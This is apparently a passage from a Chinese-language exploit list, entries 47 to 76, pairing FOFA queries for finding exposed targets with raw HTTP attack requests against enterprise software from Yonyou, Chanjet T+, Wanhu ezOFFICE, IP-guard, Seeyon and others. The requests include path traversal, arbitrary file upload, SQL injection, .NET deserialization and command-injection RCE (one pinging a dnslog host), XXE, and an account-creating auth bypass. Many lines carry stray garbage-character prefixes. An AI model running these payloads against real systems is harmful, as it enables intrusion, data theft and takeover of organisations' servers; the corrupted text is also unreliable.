" Q) ^9 `% k0 n! ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: M3 B+ b8 ^- Q2 JAccept-Language: zh-CN,zh;q=0.9
- \/ }3 g6 J  f7 ]Connection: close

; J- i( p2 z* c% p7 G" k% f* i
47. 用友GRP A++Cloud 政府财务云 任意文件读取
: h: V4 K. b, ]; H& r2 T) [7 @FOFA：body="/pf/portal/login/css/fonts/style.css"
+ d1 ]* z5 P7 {  Y, I, s/ jGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
% a. S' _4 n7 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! m+ V) F# m) H$ q3 R) IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' w! n9 l7 y. a: n% T9 M7 ~  ?9 K/ ]Accept-Encoding: gzip, deflate, br
2 w1 N7 O6 d1 X  sAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
- k- t1 o: _4 H" C0 SConnection: close
  }, J, v* e; I2 V9 Q3 q
/ U" ~- |  O( w/ M, Q

6 L! u; c% F5 |; k48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
/ u5 V7 @" r. G( L& h: g1 F* yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 w2 a' n2 }) {7 ]0 I3 I' z! OContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
1 _% D3 }  X* T4 _& D5 C/ HContent-Disposition: form-data; name="file"; filename="s.php"
1231
, Q- j6 b# f* u; DContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
% `9 U. u. k: ~7 G! J------269520967239406871642430066855--

/ t/ z" ~- I' k- g
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 `5 e4 u: r, U! ^. g2 U% IFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
* E, w. ~( B4 n4 h* K7 x  t, k! {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 A2 b8 X: l7 Z8 e4 j5 UContent-Length: 329
& e; t% g  _/ {' n% DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
1 y3 h0 {! _, T# F) K! z- D! fContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

4 Z0 c$ O1 ^3 b5 m-----------------------------vvv3wdayqv3yppdxvn3w
( g1 ^5 H  k0 E$ ?8 pContent-Disposition: form-data; name="file"; filename="%s.php "
: ]$ u) m/ N" c' h$ C) j1 TContent-Type: application/octet-stream

wersqqmlumloqa
+ R# A/ H; t4 k' [, x-----------------------------vvv3wdayqv3yppdxvn3w
4 [' e2 ~% l9 }# D3 f/ L6 bContent-Disposition: form-data; name="upload"

* W- y8 `" V# a+ e7 dupload
-----------------------------vvv3wdayqv3yppdxvn3w--
. |9 e# Y- T4 C+ t5 r

http://x.x.x.x/tmpfile/updB3CB.tmp.php
% v4 {& h9 A+ }, O; n
/ m) n" c8 ?  T; J50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
& f  y; ~& q5 s% H& g9 k' BHost: x.x.x.x
" U- ?+ f% f. v& x$ q# DUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
; f+ e5 K1 [& F* \% n7 H1 hConnection: close
Content-Length: 224
Accept: */*
3 e7 h+ \8 s: O( w9 C2 TAccept-Language: en
! n% `' O7 l* J" X. UContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 T  m. z+ G3 x% p% B! X
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

7 Z3 ?4 M7 v1 X' P0 k+ ?& s% s, q; ]
: C2 I0 M2 n! M51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
0 J" a; e' P1 ~9 L& ?FOFA：app="云时空社会化商业ERP系统"
- s3 F4 J) r& R& r% IGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
3 S$ b. a* _* j# k  J& EUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 {$ {# u2 _( V/ v  VAccept-Encoding: gzip, deflate
) Y3 V, _9 x" w6 ^/ oAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ }) K$ L, a1 Z* ^' ^" T
7 |' G: j4 z( {0 t- b( p$ r
8 m, \! N6 L) Q6 S0 X52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
* m2 p! {6 Q2 dPOST /building/json_common.php HTTP/1.1
8 x+ s' B. P6 n5 Z0 w0 I) AHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
$ I, ^) U9 j# Y5 C* aAccept: */*
; r, H/ k. i3 I4 Z  z3 b% @Accept-Language: en
+ o) T6 R& K. K; p; H; L, m7 N. P9 qContent-Type: application/x-www-form-urlencoded
8 w+ K. h5 B) PAccept-Encoding: gzip
# T5 R6 y/ ~8 M3 M
& p( B& J" A% G' Otfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
$ t/ ?6 b$ o0 N) p+ [( O! y

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
0 D# m) h9 {* N/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

9 |# ]3 ?9 b$ b1 v$ t& F
+ o  ~% K3 q3 y" u54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
. }9 b' z! z0 O/ J! U1 K( S, q" i第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  j* P  V8 Z# o8 E0 N

( `5 o4 W+ p0 p9 w完整数据包
& r* i% J6 I$ n! {: t* c7 h* HPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
2 [! b" R7 ]+ @0 l  z: vHost: x.x.x.x
- @4 }; U6 X& ?1 [' RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
% F$ G2 k: }5 T$ @. ]Content-Length: 593

{
"storeID":{
5 z$ Q6 _3 z8 q  _# ^ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
/ c0 ]/ o1 L  i# |0 k: N% F "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ z8 d; `+ H4 @( p" h6 r    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  ~$ g2 w! W7 W, ~+ z    }
  }
  }
* f& X, K0 [1 |4 g6 p# y0 M1 i: [6 e3 K}

+ o0 U7 _# O! j3 y
( Z2 x( `+ E) y8 K! ^3 q第二步，访问如下url
" P1 T1 _6 Z1 e0 j/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
* Q, r* g; `. D0 P. O+ S# t$ v% ]FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

0 s" T# m- q7 U# _' _( D56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
9 n. N7 E! K& A1 bFOFA: app="畅捷通-TPlus"
7 }, O" P! s) v, a' D0 n& NPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
& n- w+ X" k6 G; o4 p/ g  nContent-Type: application/json
* F6 X8 ~+ H3 b+ X3 |0 Q
/ @0 b7 W9 T* I8 }  N{
2 \8 M" u# S  ?- A( @) n  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
; U  H) }' c# ]   "MethodName":"Start",
    "ObjectInstance":{
) i7 L0 k$ |' s       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) C& p* P. [8 q- M6 n4 J! Y& ~9 Q        "StartInfo": {
$ V6 C3 g  R8 j1 S  [           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' v+ [) {; F" @, c! V           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
. i# f/ B4 V: \$ Z    }
1 Q" @- k' k- B% ~( M/ j6 E  }
}

- i0 h7 [1 U2 N/ }) ]3 J5 _
57. 畅捷通T+ keyEdit.aspx SQL注入
: f0 \+ t" l2 P7 \5 p5 x# k8 O+ SFOFA：app="畅捷通-TPlus"
/ v. d& O5 M& ]( FGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
/ _5 C! G9 i2 S0 X; WHost: host
+ A5 b) z- H( vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! A/ W8 I% f# R4 w! q. k& kAccept-Charset: utf-8
9 x7 D+ n" P+ TAccept-Encoding: gzip, deflate
6 a4 o# g0 F' N+ FConnection: close
5 j" A9 y8 v! X3 |
% q, r2 R! I8 l% m6 Y2 T2 X
2 Q5 m& i( }" D1 }58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
3 [" H, V/ R* xHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 d/ _4 ]8 e) P7 h0 J# ~: pAccept-Charset: utf-8
1 k8 w0 ]1 p. _Accept-Encoding: gzip, deflate
+ b0 U, c& x5 v' E4 j7 u( OConnection: close

) J& c' S' c+ d
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
6 k. T% V* w) Z2 e8 o) t! NUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% j- K9 ^  o9 b% H. qConnection: close
4 t3 d& C7 k2 k1 U' c& d3 P, DContent-Length: 1669
Accept: */*
Accept-Language: en
) |1 D1 L$ n4 U# VContent-Type: application/x-www-form-urlencoded
0 m; {9 F4 A4 U5 x: UAccept-Encoding: gzip
0 S" c4 D" R* A, R" Q
- v& T) D# t. x( JPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
  F, U& }  P8 @6 eGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
" j* A- \% \" c9 H. z' ZHost:
+ P3 ^, M0 P7 r$ Q4 q. E2 ~5 o5 E3 l9 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# K) Q2 `( Q6 V3 X8 O1 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 a7 b$ j& a( b+ l& E

" z; E+ g8 m5 F8 I0 `61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
3 O2 L+ U1 a% u) |: h" M2 wPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
7 ^5 D' X% U# s% S% ]Host: x.x.x.x
% s% B6 A9 ^* mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& f! Y, h3 y! DConnection: close
- I! a6 J% E8 ?; I: O% Z3 N1 p5 mContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
, |# X  E0 N) C. J% p' VAccept-Language: en
3 S2 L: x+ {+ u- C$ a! DContent-Type: application/x-www-form-urlencoded

9 C$ g: s$ E8 F0 g7 g6 e$ }8uxssX66eqrqtKObcVa0kid98xa
1 U8 g/ {/ n" }7 n4 ?- _& q3 h

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
1 m; K6 t# {) ^' G4 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
, ^& S9 u/ a7 ]8 SConnection: close
Accept: */*
, Z# r' }) j* B5 B/ YAccept-Language: en
: x) I5 X1 e. u$ {: |3 j. ]Accept-Encoding: gzip

1 X( G1 O' \: `8 z1 x3 ^
8 U" B" m/ K3 Z5 y. d+ ?: R6 e( F4 G( K访问
6 @. a# ^$ W; D8 Q# J
! I/ e0 e+ B1 @% _: V- dGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
0 J" z- o7 G) O: h7 R( ^. U% U( dHost: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
# l8 I/ ?% o1 t5 o8 a4 T6 c- J& PFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 I. [) @' X8 G4 I  V2 E- U6 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 q( i( V+ e7 k2 _/ fAccept-Encoding: gzip, deflate
5 r3 H7 J7 a% p4 B; l2 _9 UAccept-Language: zh-CN,zh;q=0.9
" Y4 x, Q5 s9 DConnection: close
: V' \6 ~; [& Y# s* L3 A  lContent-Type: application/x-www-form-urlencoded

  G$ q: {8 }% i* q3 Q% qpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

" o2 u' M: c- n  f64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
8 f: L1 m6 S7 w  P" \POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
: c; M9 i3 \3 S* Q3 R0 A7 VUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
) Q8 V* C7 O" U& pConnection: close
2 m+ [% Z2 V' p0 s8 s1 p; }8 E8 `Content-Length: 369
  A4 M+ N* y& F' f% JAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
1 q% b4 @6 r& l" U: |
' C9 x  T' j3 B. l$ y: W# e<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
) R- m/ M3 O! v9 I5 O8 \" U<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
% _5 b! D& \  [  h' ~4 O</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
: s( W& c4 e; c- {7 PAccept: */*
( k, M0 K2 \! T! l0 {" ~: W' ?Connection: close
Accept-Language: en
7 B" @6 }; g& A" }3 ^1 |Content-Length: 174
' y' P4 v& E* q# O4 e! m
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
/ f, H) h. s" }$ h4 V8 E" V0 H- T) XFOFA：app="万户ezOFFICE协同管理平台"
( O" W  m& l- z5 p  X3 h9 u
% M& I: D) \/ w! o+ bGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
* X1 ~" X# g& O% c4 OAccept: */*
Accept-Language: en
5 h9 d" o% b+ \Accept-Encoding: gzip

7 l7 i' n* O4 `, o1 ^4 c
# p/ x$ n/ q' p4 ~% H8 z第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
( \% c: A/ a6 p! o* A+ s
7 I/ X5 ^( F: h. J! G* [# u+ K67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
  M/ q% b+ n3 s1 G+ \9 A1 SnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
1 W& t8 J0 h" U3 R& m' GUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 F+ u0 m& l- a4 L, @8 XAccept-Encoding: gzip, deflate
6 q8 q, h. |: `, rAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
" A  U& R% y7 ?! D! HContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
1 N  K; Q7 k2 D% m7 |5 wDNT: 1
" q) u( c, ]- D1 B: w# N6 u  D# kUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
; {: s8 I) v* ]" j" g9 F9 U4 f
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
* a! m3 y  C' O% Y  m1 E

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 `, t% Z# j  {+ C$ Q; }* v7 AAccept-Language: zh-CN,zh;q=0.9
/ I; G: [, [$ Z2 nConnection: close

8 d& a/ M! p: C8 K$ O# Y4 |
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
, W8 z% X+ Q; ~5 R/ J1 w- P; x! `Host: your-ip
! B  x- h2 p' |6 AUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
" t" b3 E" N( C+ U- `7 Y, ^Connection: keep-alive

. U4 P' w) r) t, R( X7 l  W% z$ B
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
) f  q0 h( O- ]% I' V' u* ~TYPE: C
. z" s0 h: j$ o' N$ t1 ^' H* y! cContent-Length: 16702

# b4 |' D* j1 t! u. w1 u__VIEWSTATE=PAYLOAD
. g0 s+ W& r3 U3 A
8 n5 ^+ J% s. y0 s8 ?
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
0 Y7 U; o' B# i* R) A/ PFOFA：body="PM2项目管理系统BS版增强工具.zip"
( N7 ]- b  g) W% X7 UGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
- \, P) v  I( g0 W4 xHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
4 d$ H, d! h7 y/ s% G4 BConnection: close
% o6 [( K2 Q- D1 d$ r; k' lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ X- m8 n! e# K: x, G8 zAccept-Encoding: gzip, deflate
/ @! i, J4 a3 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- i2 |" H' _5 J" \Upgrade-Insecure-Requests: 1
: w4 y* e# n& m1 V6 }3 e: v6 c8 O

# R, I3 `. |2 R- Z: L6 K72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
2 x% R' P4 d) j# q+ YPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
" [! \1 Y, A) Y- S, E  n5 V& w4 OHost: 192.168.40.131:8099
" y/ C8 n% @* t7 ZUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 ~% y' {# i8 B$ c" b0 uConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
; x. H2 j: I" i1 H. {, |
6 Q  T9 G1 r+ T% i& \9 `* C# rS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 }: ]4 U- n% X8 _7 H

; e$ f9 L5 B: A" A, [9 l6 {73. GeoServer wms远程代码执行
% ?) H& ]4 p2 @. bFOFA：icon_hash=”97540678”
- l4 m0 D) M6 d& W( Y: wPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
/ W( V/ t9 B( H1 L/ }* XAccept-Encoding: gzip, deflate
Connection: close
- r3 p1 r1 B, V/ \Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
2 M2 n/ [- W. Z4 _
0 c5 l( O: w( g* G
( z0 N+ R1 j8 K' o/ Q( v( _. d3 ]74. 致远M3-server 6_1sp1 反序列化RCE
' S5 d. G- ^$ H$ A% zFOFA：title="M3-Server"
4 i# ?0 R3 o: X7 P! HPAYLOAD
% [! @$ ]5 |* a" q  |
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
; K) T$ x! o9 s8 AGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
/ F" C/ Z5 V: p" J0 A# {/ y* a5 ]Host: x.x.x.x
" H& Q2 q/ I% X& `" t9 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
$ ?9 g9 ~% D& P8 T- c( i; K

" H) ^& K+ y2 r+ s$ [; J$ EGET /cgi-bin/test28256.txt HTTP/1.1
9 u3 o2 c6 a: ^  g" j5 p: UHost: x.x.x.x


& r6 ^$ Z% y; a76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
7 b8 h: \2 g- V: jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
+ a3 U+ P. j* w0 C& P# T6 j$ d0 \Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
